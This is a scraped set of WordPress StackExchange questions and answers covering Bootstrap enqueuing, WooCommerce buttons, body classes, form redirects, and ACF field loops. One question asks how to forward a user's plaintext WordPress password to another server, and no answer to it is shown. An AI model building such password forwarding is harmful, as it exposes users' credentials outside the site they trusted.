&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>I have created a template page using this code thanks to the help I got in <a href="https://wordpress.stackexchange.com/questions/282267/routing-a-custom-php-on-wordpress">previous question</a>.</p> <p>How do I use bootstrap without messing up WP themes and their headers?</p> <p>EDIT: this is how my functions.php looks like </p> <pre><code>add_action( 'wp_enqueue_scripts', 'mfnch_enqueue_styles', 101 ); function mfnch_enqueue_styles() { // Enqueue the parent stylesheet // wp_enqueue_style( 'parent-style', get_template_directory_uri() .'/style.css' ); //we don't need this if it's empty // Enqueue the parent rtl stylesheet if ( is_rtl() ) { wp_enqueue_style( 'mfn-rtl', get_template_directory_uri() . '/rtl.css' ); } // Enqueue the child stylesheet wp_dequeue_style( 'style' ); wp_enqueue_style( 'style', get_stylesheet_directory_uri() .'/style.css' ); } </code></pre> <p>How do I edit this function to include Bootstrap ^? I tried on my own but it doesn't render it.</p> <p>Thanks in advance!</p>
[ { "answer_id": 282689, "author": "Punitkumar Patel", "author_id": 117461, "author_profile": "https://wordpress.stackexchange.com/users/117461", "pm_score": 4, "selected": true, "text": "<p>You can add bootstrap in WordPress by following function in functions.php</p>\n\n<p>You can change ...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282688", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/125481/" ]
I am coming from a Laravel background and using Bootstrap in Laravel is relatively easy. However I have a project I have been working on with Wordpress and I am using Bootstrap for my nav bars. The problem is that, they are messing up my header on the page. The theme I am using is Be Theme. This is my code: ``` <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> </head> <body> <div class="container"> <div class="row"> <div class="tabbable"> <div class="panel panel-default"> <div class="panel-body"> <ul class="nav nav-tabs nav-justified" role="tablist"> <li class="nav-item"> <a class="nav-link active" data-toggle="tab" href="#link" role="tab" style="color:black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black; "></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color: black;"></a> </li> <li class="nav-item"> <a class="nav-link" data-toggle="tab" href="#link" role="tab" style="color:black;"></a> </li> </ul> <div class="tab-content"> <div class="tab-pane active" id="link" role="tabpanel" style="; color: black;"> <form action="" method="get" name="" style="color: black;" class="form-inline"> <br> <br> <input type="submit" name="submit" class="btn btn-default" style="background-color: red;"> </form> <table> </table> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> <div class="tab-pane " id="id" role="tabpanel" style=";"> </div> </div> </div> </div> </div> </div> </body> </html> ``` I have created a template page using this code thanks to the help I got in [previous question](https://wordpress.stackexchange.com/questions/282267/routing-a-custom-php-on-wordpress). How do I use bootstrap without messing up WP themes and their headers? EDIT: this is how my functions.php looks like ``` add_action( 'wp_enqueue_scripts', 'mfnch_enqueue_styles', 101 ); function mfnch_enqueue_styles() { // Enqueue the parent stylesheet // wp_enqueue_style( 'parent-style', get_template_directory_uri() .'/style.css' ); //we don't need this if it's empty // Enqueue the parent rtl stylesheet if ( is_rtl() ) { wp_enqueue_style( 'mfn-rtl', get_template_directory_uri() . '/rtl.css' ); } // Enqueue the child stylesheet wp_dequeue_style( 'style' ); wp_enqueue_style( 'style', get_stylesheet_directory_uri() .'/style.css' ); } ``` How do I edit this function to include Bootstrap ^? I tried on my own but it doesn't render it. Thanks in advance!
You can add bootstrap in WordPress by following function in functions.php You can change url as you need if you have cdn. ``` <?php /** * Enqueue scripts and styles */ function your_theme_enqueue_scripts() { // all styles wp_enqueue_style( 'bootstrap', get_stylesheet_directory_uri() . '/css/bootstrap.css', array(), 20141119 ); wp_enqueue_style( 'theme-style', get_stylesheet_directory_uri() . '/css/style.css', array(), 20141119 ); // all scripts wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array('jquery'), '20120206', true ); wp_enqueue_script( 'theme-script', get_template_directory_uri() . '/js/scripts.js', array('jquery'), '20120206', true ); } add_action( 'wp_enqueue_scripts', 'your_theme_enqueue_scripts' ); ```
282,693
<p>I have created Custom Button using following Code at <code>themes/package/woocommerce/single-product/add-to-cart/simple.php</code></p> <pre><code>&lt;?php if($_product-&gt;getCustom_button()){ //yes or no button ?&gt; &lt;button type="button" title="&lt;?php echo $_product-&gt;getCustom_button_name() ;?&gt;" class="btn btn-default" onclick="window.open('&lt;?php echo $_product-&gt;getCustom_button_url() ;?&gt;')"&gt;&lt;span&gt;&lt;span&gt;&lt;i class="icon-desktop"&gt;&lt;/i&gt;&lt;?php echo $_product-&gt;getCustom_button_name() ;?&gt;&lt;/span&gt;&lt;/span&gt;&lt;/button&gt; &lt;?php } ?&gt; </code></pre> <p>but this code is not work properly. i want custom button work with product attributes. <a href="https://i.stack.imgur.com/VuWBs.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/VuWBs.png" alt="enter image description here"></a></p>
[ { "answer_id": 282696, "author": "Jaed Mosharraf", "author_id": 129422, "author_profile": "https://wordpress.stackexchange.com/users/129422", "pm_score": 0, "selected": false, "text": "<p>You can use this code to add anything like button, text using this below code</p>\n\n<pre><code>func...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282693", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/107334/" ]
I have created Custom Button using following Code at `themes/package/woocommerce/single-product/add-to-cart/simple.php` ``` <?php if($_product->getCustom_button()){ //yes or no button ?> <button type="button" title="<?php echo $_product->getCustom_button_name() ;?>" class="btn btn-default" onclick="window.open('<?php echo $_product->getCustom_button_url() ;?>')"><span><span><i class="icon-desktop"></i><?php echo $_product->getCustom_button_name() ;?></span></span></button> <?php } ?> ``` but this code is not work properly. i want custom button work with product attributes. [![enter image description here](https://i.stack.imgur.com/VuWBs.png)](https://i.stack.imgur.com/VuWBs.png)
``` add_action('woocommerce_after_add_to_cart_button','cmk_additional_button'); function cmk_additional_button() { echo '<button type="submit" class="button alt">Change me please</button>'; } ``` add this code in your Child theme functions.php Try this code
282,694
<p>I'm trying to style something unique to the Blog/Posts page, which isn't on the front page. The body tag right now looks like this:<code>&lt;body &lt;?php body_class() ?&gt;&gt;</code> <br> But doing this <code>&lt;body &lt;?php body_class('blog') ?&gt;&gt;</code> only returns <code>&lt;body class="logged-in"&gt;</code> or just <code>&lt;body&gt;</code> if I'm not logged in. <br> <br> I've tried: <br></p> <pre><code>&lt;body &lt;?php if ( is_home()) { echo 'class="blog"'; } else { body_class(); }?&gt;&gt; </code></pre> <p>It sort of works but it replaces the "logged-in" class entirely. There has to be a way to append classes to the body tag for posts pages right?</p>
[ { "answer_id": 282695, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": -1, "selected": false, "text": "<p>You can pass your class as argument</p>\n\n<pre><code>&lt;body &lt;?php if ( is_home()) { body_class('m...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282694", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129515/" ]
I'm trying to style something unique to the Blog/Posts page, which isn't on the front page. The body tag right now looks like this:`<body <?php body_class() ?>>` But doing this `<body <?php body_class('blog') ?>>` only returns `<body class="logged-in">` or just `<body>` if I'm not logged in. I've tried: ``` <body <?php if ( is_home()) { echo 'class="blog"'; } else { body_class(); }?>> ``` It sort of works but it replaces the "logged-in" class entirely. There has to be a way to append classes to the body tag for posts pages right?
In your theme's functions file, use the `body_class` filter to add new classes: ``` function wpse_282694_body_class( $classes ) { if ( is_home() ) { $classes[] = 'blog'; } return $classes; } add_filter( 'body_class', 'wpse_282694_body_class' ); ``` If your category archives, tag archives, date archives and search results also need the same styling, which is fairly commin, check for each of them like so: ``` if ( is_home() || is_date() || is_tag() || is_category() || is_search() ) {} ``` Note that I didn't use `is_archive()`, because that would also affect any custom post types you might be using.
282,699
<p>I have a membership site I want to call a function when any fields of user will update from any where of site.</p> <p>I was used this function but it is not Running:</p> <pre><code>$current_user = wp_get_current_user(); $user_id = $current_user-&gt;ID; function update_extra_profile_fields($user_id) { if ( current_user_can('edit_user',$user_id) ) myfunction(); } </code></pre> <p>Please help me </p>
[ { "answer_id": 282695, "author": "Piyush Rawat", "author_id": 73600, "author_profile": "https://wordpress.stackexchange.com/users/73600", "pm_score": -1, "selected": false, "text": "<p>You can pass your class as argument</p>\n\n<pre><code>&lt;body &lt;?php if ( is_home()) { body_class('m...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129516/" ]
I have a membership site I want to call a function when any fields of user will update from any where of site. I was used this function but it is not Running: ``` $current_user = wp_get_current_user(); $user_id = $current_user->ID; function update_extra_profile_fields($user_id) { if ( current_user_can('edit_user',$user_id) ) myfunction(); } ``` Please help me
In your theme's functions file, use the `body_class` filter to add new classes: ``` function wpse_282694_body_class( $classes ) { if ( is_home() ) { $classes[] = 'blog'; } return $classes; } add_filter( 'body_class', 'wpse_282694_body_class' ); ``` If your category archives, tag archives, date archives and search results also need the same styling, which is fairly commin, check for each of them like so: ``` if ( is_home() || is_date() || is_tag() || is_category() || is_search() ) {} ``` Note that I didn't use `is_archive()`, because that would also affect any custom post types you might be using.
282,716
<p>I'm in the process of converting my existing WordPress site to use Preact/Redux on the frontend and use the WP REST API to get post data back from the admin.</p> <p>I'll be using React Router and a rewrite in .htaccess to rewrite the URLs to the index.html file, and React Router should handle the requests.</p> <p>Given an existing URL of <code>https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/</code> I assume I'll setup my route as <code>/:year/:month/:slug</code></p> <p>My question is, how would I use those params to get the post ID so I can call the REST endpoint for: <code>GET /wp/v2/posts/&lt;id&gt;</code>?</p> <p>Perhaps there is another way to achieve this? I tried several combinations of: <code>https://peteschuster.com/wp/v2/posts/2017/10/high-praise-react-react-ecosystem/</code> to no avail. I was thinking it might be possible similar to how <code>/feed</code> is handled like: <code>https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/json</code></p> <p>Any guidance would be greatly appreciated. Thanks!</p>
[ { "answer_id": 282726, "author": "Stephen Sabatini", "author_id": 83781, "author_profile": "https://wordpress.stackexchange.com/users/83781", "pm_score": 0, "selected": false, "text": "<p>Firstly, the REST API URL base would be:</p>\n\n<p><a href=\"https://peteschuster.com/wp-json/wp/v2/...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282716", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/1388/" ]
I'm in the process of converting my existing WordPress site to use Preact/Redux on the frontend and use the WP REST API to get post data back from the admin. I'll be using React Router and a rewrite in .htaccess to rewrite the URLs to the index.html file, and React Router should handle the requests. Given an existing URL of `https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/` I assume I'll setup my route as `/:year/:month/:slug` My question is, how would I use those params to get the post ID so I can call the REST endpoint for: `GET /wp/v2/posts/<id>`? Perhaps there is another way to achieve this? I tried several combinations of: `https://peteschuster.com/wp/v2/posts/2017/10/high-praise-react-react-ecosystem/` to no avail. I was thinking it might be possible similar to how `/feed` is handled like: `https://peteschuster.com/2017/10/high-praise-react-react-ecosystem/json` Any guidance would be greatly appreciated. Thanks!
The core rewrite API does offer the function `url_to_postid()` (as mentioned by @stephen-sabatini) which can find a post ID from a URL. However it seems less than ideal to have to make a request up front just to determine the post ID... The REST API does not natively offer the ability to query by date beyond setting `before` and `after` args so that won't be of much help to you. You could potentially ignore the date params and query by slug. For example: ``` https://peteschuster.com/wp-json/wp/v2/posts?slug=high-praise-react-react-ecosystem ``` Alternatively, you could make a custom endpoint and perform whatever type of query you want. Check the [REST API handbook](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints/) for more information. On the idea of a `/json` endpoint: This isn't something that exists natively, but it is certainly doable. To implement it, have a look at rewrite endpoints: * [Codex page](https://codex.wordpress.org/Rewrite_API/add_rewrite_endpoint) * [Code reference page](https://developer.wordpress.org/reference/functions/add_rewrite_endpoint/) * [Blog post with more info on using rewrite endpoints](https://make.wordpress.org/plugins/2012/06/07/rewrite-endpoints-api/) Keep in mind that this would be completely separate from the REST API, however you could probably reuse the REST API internally with something like: ``` $request = new WP_REST_Request( 'GET', '/wp/v2/posts' ); $request->set_param( 'slug', 'high-praise-react-react-ecosystem' ); $response = rest_do_request( $request ); $post = $response->data; ``` Using the REST API in this way is briefly touched on in the [handbook FAQ](https://developer.wordpress.org/rest-api/using-the-rest-api/frequently-asked-questions/#can-i-make%c2%a0api-requests%c2%a0from-php-within-a-plugin). This would add some extra complexity to your server config, as now you would have to route requests ending in `json` straight to WordPress instead of your frontend, but that shouldn't be too difficult. Hopefully that gives you some ideas...
282,718
<p>This is a strange error because it wasn't happening earlier, it was actually all working fine. I have removed all the code I have added since I last tested it and it was working before it broke. </p> <p>I have a custom post acting as a page to submit a form on and I am processing the form via a function in the functions.php page in my plugin.</p> <pre><code>function tm_add_new_job() { if ( empty($_POST) || !wp_verify_nonce($_POST['tm_add_new_job'],'tm_add_new_job') ) { wp_nonce_ays(); die(); } else { $type = $_POST['contacttype']; switch ($type) { case 'email': $title = $_POST['title']; $name = $_POST['name']; $surname = $_POST['surname']; $email = $_POST['email']; if (!empty($email)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Assign link to about_you page $about_you = get_page_by_path( 'about-you', '', 'jobs' ); $linked = get_post_permalink($about_you-&gt;ID); $secret = get_post_meta( $new_customer_id, 'customer_secret', true ); $link = $linked .'?customer='. $new_customer_id .'&amp;secret='. $secret; tm_mail_lead($email, $from, $custom, $link); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_post_meta( $new_customer_id, 'customer_email', $email, false ); } else { // No email - Fail wp_redirect( tm_new_job_link()); } break; case 'text': $title = $_POST['sms_title']; $name = $_POST['sms_name']; $surname = $_POST['sms_surname']; $mobile = $_POST['mobile']; if (!empty($mobile)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_metadata( 'post', $new_customer_id, 'customer_mobile', $mobile, false ); } else { // No Mobile Number - Fail wp_redirect( tm_new_job_link()); } break; case 'customer': $image = 'quoting.png'; break; } if ($_FILES) { // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); $file = $_FILES[featured_image]; $file_return = wp_handle_upload( $file, array('action' =&gt; 'tm_add_new_job' ) ); if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) { return false; } else { $filename = $file_return['file']; $attachment = array( 'post_mime_type' =&gt; $file_return['type'], 'post_title' =&gt; preg_replace( '/\.[^.]+$/', '', basename( $filename ) ), 'post_content' =&gt; '', 'post_status' =&gt; 'inherit', 'guid' =&gt; $file_return['url'] ); $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] ); // Generate the metadata for the attachment, and update the database record. $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $new_job_id, $attachment_id ); } } // success go to new job post. wp_redirect( get_permalink($new_job_id)); } } add_action( 'admin_post_tm_add_new_job', 'tm_add_new_job' ); </code></pre> <p>FYI: The form works and the data is inserted into the database, the only problem is it is stuck on a blank (white screen) admin-post.php page. What am I doing wrong here?</p> <p><strong>UPDATE:</strong> </p> <p>I have discovered that it redirects only if I upload an image?</p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The ...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282718", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128475/" ]
This is a strange error because it wasn't happening earlier, it was actually all working fine. I have removed all the code I have added since I last tested it and it was working before it broke. I have a custom post acting as a page to submit a form on and I am processing the form via a function in the functions.php page in my plugin. ``` function tm_add_new_job() { if ( empty($_POST) || !wp_verify_nonce($_POST['tm_add_new_job'],'tm_add_new_job') ) { wp_nonce_ays(); die(); } else { $type = $_POST['contacttype']; switch ($type) { case 'email': $title = $_POST['title']; $name = $_POST['name']; $surname = $_POST['surname']; $email = $_POST['email']; if (!empty($email)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Assign link to about_you page $about_you = get_page_by_path( 'about-you', '', 'jobs' ); $linked = get_post_permalink($about_you->ID); $secret = get_post_meta( $new_customer_id, 'customer_secret', true ); $link = $linked .'?customer='. $new_customer_id .'&secret='. $secret; tm_mail_lead($email, $from, $custom, $link); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_post_meta( $new_customer_id, 'customer_email', $email, false ); } else { // No email - Fail wp_redirect( tm_new_job_link()); } break; case 'text': $title = $_POST['sms_title']; $name = $_POST['sms_name']; $surname = $_POST['sms_surname']; $mobile = $_POST['mobile']; if (!empty($mobile)) { // Post new job and customer $new_customer_id = tm_add_customer($title, $name, $surname); $new_job_id = tm_add_job($new_customer_id); // Add job ID to customer add_metadata( 'post', $new_customer_id, 'job_id', $new_job_id, false ); if (!empty($title)) { // Add customer title add_metadata( 'post', $new_customer_id, 'customer_title', $title, false ); } if (!empty($name)) { // Add customer name add_metadata( 'post', $new_customer_id, 'customer_name', $name, false ); } if (!empty($surname)) { // Add customer surname add_metadata( 'post', $new_customer_id, 'customer_surname', $surname, false ); } // Add customer email add_metadata( 'post', $new_customer_id, 'customer_mobile', $mobile, false ); } else { // No Mobile Number - Fail wp_redirect( tm_new_job_link()); } break; case 'customer': $image = 'quoting.png'; break; } if ($_FILES) { // Make sure that this file is included, as wp_generate_attachment_metadata() depends on it. require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); $file = $_FILES[featured_image]; $file_return = wp_handle_upload( $file, array('action' => 'tm_add_new_job' ) ); if( isset( $file_return['error'] ) || isset( $file_return['upload_error_handler'] ) ) { return false; } else { $filename = $file_return['file']; $attachment = array( 'post_mime_type' => $file_return['type'], 'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $filename ) ), 'post_content' => '', 'post_status' => 'inherit', 'guid' => $file_return['url'] ); $attachment_id = wp_insert_attachment( $attachment, $file_return['url'] ); // Generate the metadata for the attachment, and update the database record. $attachment_data = wp_generate_attachment_metadata( $attachment_id, $filename ); wp_update_attachment_metadata( $attachment_id, $attachment_data ); set_post_thumbnail( $new_job_id, $attachment_id ); } } // success go to new job post. wp_redirect( get_permalink($new_job_id)); } } add_action( 'admin_post_tm_add_new_job', 'tm_add_new_job' ); ``` FYI: The form works and the data is inserted into the database, the only problem is it is stuck on a blank (white screen) admin-post.php page. What am I doing wrong here? **UPDATE:** I have discovered that it redirects only if I upload an image?
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,744
<p>I have a WP query that searches for any custom posts under type 'tribe_events' tagged as 'featured' under the taxonomy 'tribe_events_cat'.</p> <p>So, just to be clear:<br/> post_type = 'tribe_events'<br/> taxonomy = 'tribe_events_cat'<br/> terms = 'featured', 'streamteam'</p> <p>However, it returns nothing when outside of page ID 199. I can comment-out the tax_query and it works but returns all posts, not just ones tagged as 'featured'.</p> <pre><code> if(is_page(199)) { $tribe_events_cat = array( 'featured','streamteam' ); } else { $tribe_events_cat = 'featured'; } // The Query $event_args = array ( 'post_type' =&gt; 'tribe_events', 'posts_per_page' =&gt; 1, 'tax_query' =&gt; array ( array ( 'taxonomy' =&gt; 'tribe_events_cat', 'field' =&gt; 'slug', 'terms' =&gt; $tribe_events_cat, ), ), 'meta_query' =&gt; array( array( 'key' =&gt; '_EventStartDate', 'value' =&gt; date("Y-m-d"), 'compare' =&gt; '&gt;=', 'type' =&gt; 'DATE', ), ), 'meta_key' =&gt; '_EventStartDate', 'order' =&gt; 'ASC' ); $event_query = new WP_Query( $event_args ); // The Loop if ( $event_query-&gt;have_posts() ) { while ( $event_query-&gt;have_posts() ) { $event_query-&gt;the_post(); ?&gt; POST CONTENT HERE &lt;?php } } </code></pre> <p>What's wrong with my tax_query?!</p> <p><strong>EDIT:</strong></p> <p>This answer solved my initial problem of no posts being returned from my query<br/> <a href="https://stackoverflow.com/questions/30213495/wp-query-returns-no-results">https://stackoverflow.com/questions/30213495/wp-query-returns-no-results</a> <br/> Apparently there was a filter conflicting with my query.<br/><br/> However, I'm still having an issue.. I only want to return posts with both 'featured' AND 'streamteam' terms when on page ID 199. Right now it's returning posts that only belong to the 'featured' term.</p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The ...
2017/10/12
[ "https://wordpress.stackexchange.com/questions/282744", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129539/" ]
I have a WP query that searches for any custom posts under type 'tribe\_events' tagged as 'featured' under the taxonomy 'tribe\_events\_cat'. So, just to be clear: post\_type = 'tribe\_events' taxonomy = 'tribe\_events\_cat' terms = 'featured', 'streamteam' However, it returns nothing when outside of page ID 199. I can comment-out the tax\_query and it works but returns all posts, not just ones tagged as 'featured'. ``` if(is_page(199)) { $tribe_events_cat = array( 'featured','streamteam' ); } else { $tribe_events_cat = 'featured'; } // The Query $event_args = array ( 'post_type' => 'tribe_events', 'posts_per_page' => 1, 'tax_query' => array ( array ( 'taxonomy' => 'tribe_events_cat', 'field' => 'slug', 'terms' => $tribe_events_cat, ), ), 'meta_query' => array( array( 'key' => '_EventStartDate', 'value' => date("Y-m-d"), 'compare' => '>=', 'type' => 'DATE', ), ), 'meta_key' => '_EventStartDate', 'order' => 'ASC' ); $event_query = new WP_Query( $event_args ); // The Loop if ( $event_query->have_posts() ) { while ( $event_query->have_posts() ) { $event_query->the_post(); ?> POST CONTENT HERE <?php } } ``` What's wrong with my tax\_query?! **EDIT:** This answer solved my initial problem of no posts being returned from my query <https://stackoverflow.com/questions/30213495/wp-query-returns-no-results> Apparently there was a filter conflicting with my query. However, I'm still having an issue.. I only want to return posts with both 'featured' AND 'streamteam' terms when on page ID 199. Right now it's returning posts that only belong to the 'featured' term.
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,765
<p>If there is some variable from the user's password, I want the password that the user has entered for the wordpress account, to send to another server, so that the user can also log on to another server with the same data as on the wordpress, is there anyone a solution for this? thank you all for help</p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The ...
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282765", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129556/" ]
If there is some variable from the user's password, I want the password that the user has entered for the wordpress account, to send to another server, so that the user can also log on to another server with the same data as on the wordpress, is there anyone a solution for this? thank you all for help
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,778
<p>I'm creating a plugin similar to <a href="https://www.wpbeaverbuilder.com/" rel="nofollow noreferrer">https://www.wpbeaverbuilder.com/</a> You can drag &amp; drop elements to create layouts, etc. </p> <p>What would be the best way to store post content in this case? Ideally it shouldn't be lost after disabling the plugin. </p> <p>Current options are: </p> <ul> <li>save to WP_POSTS table as shortcodes</li> <li>create my own table, store there in JSON, and then populate WP_POSTS table with generated HTML </li> </ul> <p>I don't like both, because shortcodes will make it hard to switch as you're bound to generated shortcodes (though you'll have a workaround there). HTML is fine until user needs to make edits. </p>
[ { "answer_id": 282724, "author": "lukgoh", "author_id": 128475, "author_profile": "https://wordpress.stackexchange.com/users/128475", "pm_score": 0, "selected": false, "text": "<p>The problem was:</p>\n\n<pre><code>if ($_FILES) {}\n</code></pre>\n\n<p>Can someone explain this to me? The ...
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282778", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/121208/" ]
I'm creating a plugin similar to <https://www.wpbeaverbuilder.com/> You can drag & drop elements to create layouts, etc. What would be the best way to store post content in this case? Ideally it shouldn't be lost after disabling the plugin. Current options are: * save to WP\_POSTS table as shortcodes * create my own table, store there in JSON, and then populate WP\_POSTS table with generated HTML I don't like both, because shortcodes will make it hard to switch as you're bound to generated shortcodes (though you'll have a workaround there). HTML is fine until user needs to make edits.
The problem was: ``` if ($_FILES) {} ``` Can someone explain this to me? The wp\_redirect() is outside of this if statement so why wouldn't it redirect? Is it because that if statement was still firing but ran into an error as no files were being uploaded?
282,798
<p>Sometimes with Wordpress, I find myself writing long if/else chains to see if a field (a field I've created in advanced custom fields for example) exists, for example:</p> <pre><code>$imagen1 = get_field("imagen1"); $imagen2 = get_field("imagen2"); $imagen3 = get_field("imagen3"); $imagen4 = get_field("imagen4"); $imagen5 = get_field("imagen5"); &lt;?php if ( $imagen1 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen1['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen2 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen2['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen3 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen3['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen4 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen4['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;?php if ( $imagen5 ) { ?&gt; &lt;div class="slider-item"&gt; &lt;!-- &lt;a href="#" class="slider-item-plus"&gt; + &lt;/a&gt; --&gt; &lt;img src="&lt;?php echo $imagen5['url'] ?&gt;" alt="slider photo" class="img-responsive"&gt; &lt;/div&gt; &lt;?php } ?&gt; </code></pre> <p>I have seen this in a few webpages that I have inherited as well. It is not very effective as there is a limit in the amount of fields you can display since you have to add a new if chain everytime a new field is added. Can this be replaced with a loop? And if so, how would you write it?</p>
[ { "answer_id": 282806, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>There is no hard limit, but when you have many fields (I'm talking hundreds or thousands, not dozens), you mig...
2017/10/13
[ "https://wordpress.stackexchange.com/questions/282798", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115742/" ]
